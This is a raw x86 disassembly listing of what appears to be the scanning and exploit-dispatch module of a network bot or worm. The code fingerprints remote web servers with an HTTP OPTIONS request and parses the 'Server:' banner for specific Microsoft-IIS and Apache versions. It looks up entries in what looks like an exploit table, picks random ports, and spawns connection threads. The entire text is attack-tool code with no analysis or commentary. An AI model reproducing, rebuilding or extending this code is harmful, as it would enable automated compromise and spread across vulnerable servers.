		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_411258	; recv
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D981	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B4	proc near		; CODE XREF: sub_40DB90+67p
					; sub_40DC48+22p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		xor	edi, edi
		xor	eax, eax
		cmp	off_416796, edi
		jz	short loc_40DA03
		mov	ecx, offset off_416796


loc_40D9C6:				; CODE XREF: sub_40D9B4+21j
		mov	edx, [ecx-8]
		cmp	edx, [esp+4+arg_0]
		jz	short loc_40D9D9
		add	ecx, 3Ah
		inc	eax
		cmp	[ecx], edi
		jnz	short loc_40D9C6
		jmp	short loc_40DA03
; ---------------------------------------------------------------------------


loc_40D9D9:				; CODE XREF: sub_40D9B4+19j
		imul	eax, 3Ah
		push	esi
		mov	esi, [esp+8+arg_4]
		lea	edi, dword_416768[eax]
		push	3Ah
		push	edi
		push	esi
		call	sub_410838	; memcpy
		push	esi
		call	sub_40AC4E
		add	esi, 13h
		push	esi
		call	sub_40AC4E
		add	esp, 14h
		pop	esi


loc_40DA03:				; CODE XREF: sub_40D9B4+Bj
					; sub_40D9B4+23j
		mov	eax, edi
		pop	edi
		retn
sub_40D9B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA07	proc near		; CODE XREF: sub_40DA6E+103p
					; sub_40DB90+8Ap ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		mov	eax, [ebp+arg_0]
		push	esi
		add	eax, 2Ah
		push	1
		push	eax
		call	sub_406AFA
		mov	esi, eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_403495
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40DA4A
		lea	eax, [ebp+var_100]
		push	offset aUnknown	; "unknown"
		push	eax
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DA4A:				; CODE XREF: sub_40DA07+2Ej
		lea	eax, [ebp+var_100]
		inc	esi
		push	eax
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset unk_414074
		push	offset dword_4177EC
		call	sub_408CDE
		add	esp, 18h
		pop	esi
		leave
		retn
sub_40DA07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA6E	proc near		; CODE XREF: sub_40E03D+119p

var_244		= dword	ptr -244h
var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_1A		= dword	ptr -1Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 244h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D7FD
		push	3Ah
		lea	eax, [ebp+var_40]
		push	[ebp+arg_0]
		push	eax
		call	sub_410838	; memcpy
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40AC4E
		lea	eax, [ebp+var_2D]
		push	eax
		call	sub_40AC4E
		mov	edi, 203h
		lea	eax, [ebp+var_244]
		push	edi
		push	0
		push	eax
		call	sub_410850	; memset
		add	esp, 24h
		and	[ebp+var_4], 0
		mov	ebx, 3E8h
		mov	esi, 200h


loc_40DAC7:				; CODE XREF: sub_40DA6E+DFj
		push	ebx
		push	[ebp+arg_4]
		call	sub_403DD6
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DB46
		lea	eax, [ebp+var_244+3]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	sub_403D69
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DB8B
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_40DB35
		jbe	short loc_40DB0B


loc_40DAFA:				; CODE XREF: sub_40DA6E+9Bj
		mov	edx, [ebp+ecx+var_244]
		cmp	edx, [ebp+var_1A]
		jz	short loc_40DB55
		inc	ecx
		cmp	ecx, eax
		jb	short loc_40DAFA


loc_40DB0B:				; CODE XREF: sub_40DA6E+8Aj
		lea	eax, [ebp+eax+var_244]
		push	3
		push	eax
		lea	eax, [ebp+var_244]
		push	eax
		call	sub_410838	; memcpy
		push	esi
		lea	eax, [ebp+var_244+3]
		push	0
		push	eax
		call	sub_410850	; memset
		add	esp, 18h
		jmp	short loc_40DB46
; ---------------------------------------------------------------------------


loc_40DB35:				; CODE XREF: sub_40DA6E+88j
		push	edi
		lea	eax, [ebp+var_244]
		push	ecx
		push	eax
		call	sub_410850	; memset
		add	esp, 0Ch


loc_40DB46:				; CODE XREF: sub_40DA6E+66j
					; sub_40DA6E+C5j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3Ch
		jnz	loc_40DAC7
		jmp	short loc_40DB8B
; ---------------------------------------------------------------------------


loc_40DB55:				; CODE XREF: sub_40DA6E+96j
		push	[ebp+arg_4]
		call	sub_40D88A
		test	eax, eax
		pop	ecx
		jz	short loc_40DB8B
		push	offset dword_416700
		lea	eax, [ebp+var_40]
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_40DA07
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	ds:dword_411210	; shutdown
		push	ebx
		call	ds:dword_4110A4	; Sleep


loc_40DB8B:				; CODE XREF: sub_40DA6E+7Ej
					; sub_40DA6E+E5j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DA6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB90	proc near		; CODE XREF: sub_40E03D+134p

var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 848h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403AFB
		add	esp, 0Ch
		mov	esi, eax
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], 3Ch
		push	1
		mov	[ebp+var_4], edi
		pop	ebx
		mov	[ebp+var_844], esi
		push	eax
		lea	eax, [ebp+var_848]
		push	edi
		push	eax
		push	edi
		push	edi
		mov	[ebp+var_848], ebx
		call	ds:dword_411214	; select
		cmp	eax, ebx
		push	esi
		jnz	short loc_40DC37
		call	sub_40D7FD
		push	esi
		call	sub_40D981
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_40DC36
		lea	ecx, [ebp+var_44]
		push	ecx
		push	eax
		call	sub_40D9B4
		pop	ecx
		mov	ebx, eax
		pop	ecx
		cmp	ebx, edi
		push	esi
		jz	short loc_40DC37
		call	sub_40D88A
		test	eax, eax
		pop	ecx
		jz	short loc_40DC36
		push	offset dword_416704
		lea	eax, [ebp+var_44]
		push	esi
		push	eax
		push	ebx
		call	sub_40DA07
		add	esp, 10h
		push	1
		push	esi
		call	ds:dword_411210	; shutdown
		push	3E8h
		call	ds:dword_4110A4	; Sleep


loc_40DC36:				; CODE XREF: sub_40DB90+60j
					; sub_40DB90+7Dj
		push	esi


loc_40DC37:				; CODE XREF: sub_40DB90+4Fj
					; sub_40DB90+73j
		call	sub_403D49
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC42	proc near		; CODE XREF: sub_40E03D:loc_40E111p
		mov	eax, offset dword_418854
		retn
sub_40DC42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC48	proc near		; DATA XREF: sub_40DCB8+AAo

var_3C		= byte ptr -3Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	esi
		call	sub_40D7FD
		push	esi
		call	sub_40D981
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DCA9
		lea	ecx, [ebp+var_3C]
		push	ecx
		push	eax
		call	sub_40D9B4
		pop	ecx
		mov	edi, eax
		pop	ecx
		test	edi, edi
		push	esi
		jz	short loc_40DCAA
		call	sub_40D88A
		test	eax, eax
		pop	ecx
		jz	short loc_40DCA9
		push	offset dword_416708
		lea	eax, [ebp+var_3C]
		push	esi
		push	eax
		push	edi
		call	sub_40DA07
		add	esp, 10h
		push	1
		push	esi
		call	ds:dword_411210	; shutdown
		push	3E8h
		call	ds:dword_4110A4	; Sleep


loc_40DCA9:				; CODE XREF: sub_40DC48+1Bj
					; sub_40DC48+38j
		push	esi


loc_40DCAA:				; CODE XREF: sub_40DC48+2Ej
		call	sub_403D49
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40DC48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCB8	proc near		; DATA XREF: sub_40DD96+83o

var_1B0		= dword	ptr -1B0h
var_1AC		= byte ptr -1ACh
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	edi
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		lea	eax, [ebp+var_1AC]
		push	1
		push	eax
		call	sub_4035FB
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		jnz	short loc_40DD08
		push	[ebp+var_1B0]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		jmp	loc_40DD91
; ---------------------------------------------------------------------------


loc_40DD08:				; CODE XREF: sub_40DCB8+3Bj
		lea	eax, [ebp+var_1AC]
		push	esi
		push	eax
		mov	eax, [ebp+var_1B0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A6]
		push	offset dword_41670C
		push	eax
		call	sub_408D50
		lea	eax, [ebp+var_1AC]
		push	eax
		push	offset dword_418854
		call	sub_410820	; _mbscpy
		add	esp, 18h


loc_40DD3D:				; CODE XREF: sub_40DCB8+A3j
					; sub_40DCB8+B8j ...
		mov	eax, [ebp+var_1B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40DD7B
		push	3E8h
		push	edi
		call	sub_40371E
		mov	esi, eax
		pop	ecx
		cmp	esi, 0FFFFFFFFh
		pop	ecx
		jz	short loc_40DD3D
		test	esi, esi
		jz	short loc_40DD7B
		push	esi
		push	offset sub_40DC48
		call	sub_406541
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD3D
		push	esi
		call	sub_403D49
		pop	ecx
		jmp	short loc_40DD3D
; ---------------------------------------------------------------------------


loc_40DD7B:				; CODE XREF: sub_40DCB8+8Fj
					; sub_40DCB8+A7j
		push	edi
		call	sub_4038E1
		push	[ebp+var_1B0]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	esi


loc_40DD91:				; CODE XREF: sub_40DCB8+4Bj
		pop	edi
		leave
		retn	4
sub_40DCB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD96	proc near		; CODE XREF: sub_40735A+71Fp
					; sub_40E18A+1FBp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1ADh
		call	sub_41082C	; malloc
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short locret_40DE29
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		mov	esi, 0FFFFh
		mov	ebx, 401h
		jz	short loc_40DDC9
		push	[ebp+arg_4]
		call	sub_41088C	; atoi
		jmp	short loc_40DDD1
; ---------------------------------------------------------------------------


loc_40DDC9:				; CODE XREF: sub_40DD96+27j
		push	esi
		push	ebx
		call	sub_40AADE
		pop	ecx


loc_40DDD1:				; CODE XREF: sub_40DD96+31j
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40DDDC
		cmp	edi, esi
		jbe	short loc_40DDE7


loc_40DDDC:				; CODE XREF: sub_40DD96+40j
		push	esi
		push	ebx
		call	sub_40AADE
		pop	ecx
		mov	edi, eax
		pop	ecx


loc_40DDE7:				; CODE XREF: sub_40DD96+44j
		mov	esi, [ebp+var_4]
		push	0Ah
		lea	eax, [esi+4]
		push	eax
		push	edi
		call	sub_410C9A	; _itoa
		mov	ebx, [ebp+arg_0]
		lea	eax, [esi+0Ah]
		push	ebx
		push	eax
		call	sub_403E60
		xor	eax, eax
		add	esp, 14h
		cmp	[ebx+18Bh], al
		push	edi
		push	offset dword_416744
		setz	al
		push	eax
		push	esi
		push	offset sub_40DCB8
		call	sub_40663C
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx

locret_40DE29:				; CODE XREF: sub_40DD96+14j
		leave
		retn
sub_40DD96	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE2B	proc near		; CODE XREF: seg000:00410616p
		push	ebx
		xor	ebx, ebx
		cmp	off_416796, ebx
		jz	short loc_40DE7B
		push	esi
		mov	esi, offset off_416796


loc_40DE3C:				; CODE XREF: sub_40DE2B+4Dj
		mov	eax, [esi-8]
		and	eax, 0FFh
		sub	[esi], eax
		and	dword ptr [esi-4], 0


loc_40DE4A:				; CODE XREF: sub_40DE2B+29j
					; sub_40DE2B+3Ej
		call	sub_40AB05
		test	eax, eax
		mov	[esi-8], eax
		jz	short loc_40DE4A
		xor	edx, edx
		mov	ecx, offset word_41678E


loc_40DE5D:				; CODE XREF: sub_40DE2B+44j
		cmp	dword ptr [ecx+8], 0
		jz	short loc_40DE71
		cmp	ebx, edx
		jz	short loc_40DE6B
		cmp	eax, [ecx]
		jz	short loc_40DE4A


loc_40DE6B:				; CODE XREF: sub_40DE2B+3Aj
		inc	edx
		add	ecx, 3Ah
		jmp	short loc_40DE5D
; ---------------------------------------------------------------------------


loc_40DE71:				; CODE XREF: sub_40DE2B+36j
		add	esi, 3Ah
		inc	ebx
		cmp	dword ptr [esi], 0
		jnz	short loc_40DE3C
		pop	esi


loc_40DE7B:				; CODE XREF: sub_40DE2B+9j
		pop	ebx
		retn
sub_40DE2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE7D	proc near		; CODE XREF: sub_40E03D+6Ap

var_808		= byte ptr -808h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 808h
		push	ebx
		push	esi
		push	edi
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_403D54
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	loc_40E036
		xor	ebx, ebx
		mov	esi, 800h
		push	ebx
		lea	eax, [ebp+var_808]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_411258	; recv
		cmp	eax, ebx
		jz	loc_40E036
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E036
		cmp	eax, esi
		jz	loc_40E036
		mov	[ebp+eax+var_808], bl
		lea	eax, [ebp+var_808]
		push	offset aServer	; "Server:"
		push	eax
		mov	[ebp+var_8], ebx
		call	sub_410898	; strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40E036
		lea	ecx, [ebp+var_8]
		mov	esi, offset dword_412F18
		push	ecx
		push	esi
		push	eax
		call	sub_405733
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E036
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	ebx
		call	sub_405733
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, ebx
		jz	loc_40E036
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	ebx
		call	sub_405733
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	edi
		mov	[ebp+arg_0], eax
		call	sub_410CA0	; _strnicmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40DFBF
		lea	eax, [ebp+arg_0]
		mov	[ebp+var_4], ebx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	edi
		mov	[ebp+arg_0], ebx
		call	sub_410892	; sscanf
		add	esp, 10h
		push	4
		pop	eax
		cmp	[ebp+var_4], eax
		jnz	short loc_40DF8E
		cmp	[ebp+arg_0], ebx
		jnz	loc_40E036
		jmp	loc_40E038
; ---------------------------------------------------------------------------


loc_40DF8E:				; CODE XREF: sub_40DE7D+101j
		cmp	[ebp+var_4], 5
		jnz	short loc_40DFAB
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40DF9D
		push	3
		jmp	short loc_40DFBC
; ---------------------------------------------------------------------------


loc_40DF9D:				; CODE XREF: sub_40DE7D+11Aj
		cmp	[ebp+arg_0], 5
		jnz	loc_40E036
		push	2
		jmp	short loc_40DFBC
; ---------------------------------------------------------------------------


loc_40DFAB:				; CODE XREF: sub_40DE7D+115j
		cmp	[ebp+var_4], 6
		jnz	loc_40E036
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40E036
		push	1


loc_40DFBC:				; CODE XREF: sub_40DE7D+11Ej
					; sub_40DE7D+12Cj
		pop	eax
		jmp	short loc_40E038
; ---------------------------------------------------------------------------


loc_40DFBF:				; CODE XREF: sub_40DE7D+DDj
		cmp	[ebp+arg_0], ebx
		jz	short loc_40E036
		push	6
		push	offset aApache	; "Apache"
		push	edi
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40E036
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], ebx
		push	eax
		push	offset dword_416AE0
		push	edi
		call	sub_410892	; sscanf
		push	6
		push	offset dword_416AD8
		push	[ebp+arg_0]
		call	sub_410CA0	; _strnicmp
		mov	esi, eax
		add	esp, 18h
		neg	esi
		sbb	esi, esi
		inc	esi
		cmp	esi, 1
		jnz	short loc_40E01E
		push	7
		push	offset dword_416AD0
		push	[ebp+arg_0]
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40E036


loc_40E01E:				; CODE XREF: sub_40DE7D+189j
		cmp	[ebp+var_4], 1
		jz	short loc_40E02A
		cmp	[ebp+var_4], 2
		jnz	short loc_40E036


loc_40E02A:				; CODE XREF: sub_40DE7D+1A5j
		xor	eax, eax
		cmp	esi, ebx
		setnz	al
		add	eax, 5
		jmp	short loc_40E038
; ---------------------------------------------------------------------------


loc_40E036:				; CODE XREF: sub_40DE7D+2Dj
					; sub_40DE7D+4Ej ...
		xor	eax, eax


loc_40E038:				; CODE XREF: sub_40DE7D+10Cj
					; sub_40DE7D+140j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DE7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E03D	proc near		; DATA XREF: sub_40E18A+3B3o
					; sub_40E7C8+1C2o

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		lea	eax, [ebp+var_14C]
		push	[ebp+arg_0]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		push	1
		push	[ebp+var_10E]
		call	sub_403402
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_403495
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40E098
		push	[ebp+var_10E]
		call	sub_403D27
		jmp	loc_40E183
; ---------------------------------------------------------------------------


loc_40E098:				; CODE XREF: sub_40E03D+49j
		cmp	[ebp+var_112], 0
		jz	short loc_40E0B9
		push	[ebp+var_10E]
		call	sub_40DE7D
		cmp	[ebp+var_112], eax
		pop	ecx
		jnz	loc_40E178


loc_40E0B9:				; CODE XREF: sub_40E03D+62j
		cmp	[ebp+var_8A], 1
		jnz	short loc_40E0D3
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_4034E7
		jmp	short loc_40E120
; ---------------------------------------------------------------------------


loc_40E0D3:				; CODE XREF: sub_40E03D+83j
		cmp	[ebp+var_8A], 2
		jnz	short loc_40E111
		lea	eax, [ebp+var_6]
		push	0Ah
		push	eax
		push	0FFFFh
		push	401h
		call	sub_40AADE
		pop	ecx
		pop	ecx
		push	eax
		call	sub_410C9A	; _itoa
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_410820	; _mbscpy
		add	esp, 14h
		jmp	short loc_40E134
; ---------------------------------------------------------------------------


loc_40E111:				; CODE XREF: sub_40E03D+9Dj
		call	sub_40DC42
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_410820	; _mbscpy


loc_40E120:				; CODE XREF: sub_40E03D+94j
		lea	eax, [ebp+var_86]
		push	offset dword_418C78
		push	eax
		call	sub_410820	; _mbscpy
		add	esp, 10h


loc_40E134:				; CODE XREF: sub_40E03D+D2j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_40E15D
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_40DA6E
		jmp	short loc_40E176
; ---------------------------------------------------------------------------


loc_40E15D:				; CODE XREF: sub_40E03D+10Bj
		cmp	[ebp+var_8A], 2
		jnz	short loc_40E178
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_40DB90


loc_40E176:				; CODE XREF: sub_40E03D+11Ej
		pop	ecx
		pop	ecx


loc_40E178:				; CODE XREF: sub_40E03D+76j
					; sub_40E03D+127j
		push	[ebp+var_10E]
		call	sub_403D49


loc_40E183:				; CODE XREF: sub_40E03D+56j
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40E03D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E18A	proc near		; DATA XREF: sub_40E629+18Do

var_758		= qword	ptr -758h
var_740		= byte ptr -740h
var_640		= byte ptr -640h
var_63F		= byte ptr -63Fh
var_540		= byte ptr -540h
var_53F		= byte ptr -53Fh
var_440		= dword	ptr -440h
var_43C		= byte ptr -43Ch
var_429		= byte ptr -429h
var_37E		= dword	ptr -37Eh
var_2F4		= dword	ptr -2F4h
var_2F0		= byte ptr -2F0h
var_1E8		= byte ptr -1E8h
var_1DA		= dword	ptr -1DAh
var_1D6		= dword	ptr -1D6h
var_1D2		= dword	ptr -1D2h
var_1CE		= byte ptr -1CEh
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_43		= byte ptr -43h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_28		= byte ptr -28h
var_14		= qword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 740h
		push	esi
		push	edi
		push	2C9h
		lea	eax, [ebp+var_2F4]
		push	[ebp+arg_0]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_4052D4
		add	esp, 14h
		test	al, al
		jz	short loc_40E1DF
		push	14Ch
		lea	eax, [ebp+var_440]
		push	0
		push	eax
		call	sub_410850	; memset
		add	esp, 0Ch
		jmp	loc_40E269
; ---------------------------------------------------------------------------


loc_40E1DF:				; CODE XREF: sub_40E18A+38j
		xor	esi, esi
		mov	edi, offset dword_416768


loc_40E1E6:				; CODE XREF: sub_40E18A+8Aj
		lea	eax, [ebp+var_28]
		push	edi
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_40AC4E
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_410C94	; _strcmpi
		add	esp, 14h
		test	eax, eax
		jz	short loc_40E216
		inc	esi
		add	edi, 3Ah
		jmp	short loc_40E1E6
; ---------------------------------------------------------------------------


loc_40E216:				; CODE XREF: sub_40E18A+84j
		imul	esi, 3Ah
		push	3Ah
		lea	eax, [ebp+var_43C]
		lea	esi, dword_416768[esi]
		push	esi
		push	eax
		mov	[ebp+var_440], esi
		call	sub_410838	; memcpy
		lea	eax, [ebp+var_43C]
		push	eax
		call	sub_40AC4E
		lea	eax, [ebp+var_429]
		push	eax
		call	sub_40AC4E
		and	[ebp+var_37E], 0
		lea	eax, [ebp+var_429]
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_410820	; _mbscpy
		add	esp, 1Ch


loc_40E269:				; CODE XREF: sub_40E18A+50j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_405670
		test	eax, eax
		pop	ecx
		jz	short loc_40E2E0
		mov	dl, byte_417B60
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_53F]
		mov	[ebp+var_540], dl
		rep stosd
		stosw
		stosb
		push	3Fh
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_63F]
		mov	[ebp+var_640], dl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_640]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_405580
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40E2E0
		push	[ebp+var_1D2]
		call	sub_403925
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40E2F3


loc_40E2E0:				; CODE XREF: sub_40E18A+EEj
					; sub_40E18A+141j
		push	[ebp+var_2F4]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		jmp	loc_40E623
; ---------------------------------------------------------------------------


loc_40E2F3:				; CODE XREF: sub_40E18A+154j
		mov	eax, [ebp+var_440]
		push	ebx
		test	eax, eax
		jz	loc_40E395
		test	byte ptr [eax+32h], 1
		jz	loc_40E395
		call	sub_4032EF
		mov	ecx, eax
		push	2
		neg	ecx
		sbb	ecx, ecx
		pop	edx
		add	ecx, 3
		cmp	[ebp+var_37], 0
		mov	[ebp+var_37E], ecx
		jz	short loc_40E33D
		mov	esi, [ebp+var_440]
		test	[esi+32h], dl
		jnz	short loc_40E33D
		push	1
		pop	ecx
		mov	[ebp+var_37E], ecx


loc_40E33D:				; CODE XREF: sub_40E18A+19Dj
					; sub_40E18A+1A8j
		cmp	[ebp+var_47], 0
		jz	short loc_40E34B
		mov	ecx, edx
		mov	[ebp+var_37E], ecx


loc_40E34B:				; CODE XREF: sub_40E18A+1B7j
		cmp	[ebp+var_46], 0
		jz	short loc_40E35A
		push	3
		pop	ecx
		mov	[ebp+var_37E], ecx


loc_40E35A:				; CODE XREF: sub_40E18A+1C5j
		cmp	ecx, 3
		jnz	short loc_40E395
		test	eax, eax
		jz	short loc_40E36B
		mov	[ebp+var_37E], edx
		jmp	short loc_40E395
; ---------------------------------------------------------------------------


loc_40E36B:				; CODE XREF: sub_40E18A+1D7j
		mov	al, [ebp+var_43]
		mov	bl, [ebp+var_36]
		and	[ebp+var_43], 0
		mov	byte ptr [ebp+arg_0+3],	al
		lea	eax, [ebp+var_1CE]
		push	0
		push	eax
		mov	[ebp+var_36], 1
		call	sub_40DD96
		mov	al, byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		mov	[ebp+var_36], bl
		mov	[ebp+var_43], al


loc_40E395:				; CODE XREF: sub_40E18A+172j
					; sub_40E18A+17Cj ...
		mov	esi, offset dword_418008
		push	esi
		call	sub_406AE4
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	[ebp+var_1DA]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		mov	eax, [ebp+var_2F4]
		add	eax, 14h
		push	offset dword_416BC8
		push	eax
		call	sub_410844	; sprintf
		push	esi
		call	sub_406AEF
		add	esp, 18h
		lea	eax, [ebp+var_1E8]
		push	[ebp+var_1DA]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		mov	eax, [ebp+var_2F4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1CE]
		push	offset dword_416B90
		push	eax
		call	sub_408D50
		xor	ebx, ebx
		add	esp, 18h
		cmp	[ebp+var_440], ebx
		mov	esi, 3E8h
		jnz	short loc_40E418
		push	esi
		call	ds:dword_4110A4	; Sleep


loc_40E418:				; CODE XREF: sub_40E18A+285j
		mov	[ebp+var_8], ebx
		call	sub_41084A	; clock
		mov	[ebp+var_C], eax
		mov	[ebp+arg_0], ebx


loc_40E426:				; CODE XREF: sub_40E18A+30Fj
					; sub_40E18A+34Cj ...
		mov	eax, [ebp+var_2F4]
		cmp	[eax+4], ebx
		jnz	loc_40E5CC
		mov	edi, [ebp+arg_0]
		sub	edi, [ebp+var_C]
		call	sub_41084A	; clock
		mov	ecx, [ebp+var_1DA]
		add	eax, edi
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	loc_40E5CC
		lea	eax, [ebp+var_640]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_410820	; _mbscpy
		lea	eax, [ebp+var_640]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		lea	eax, [ebp+var_540]
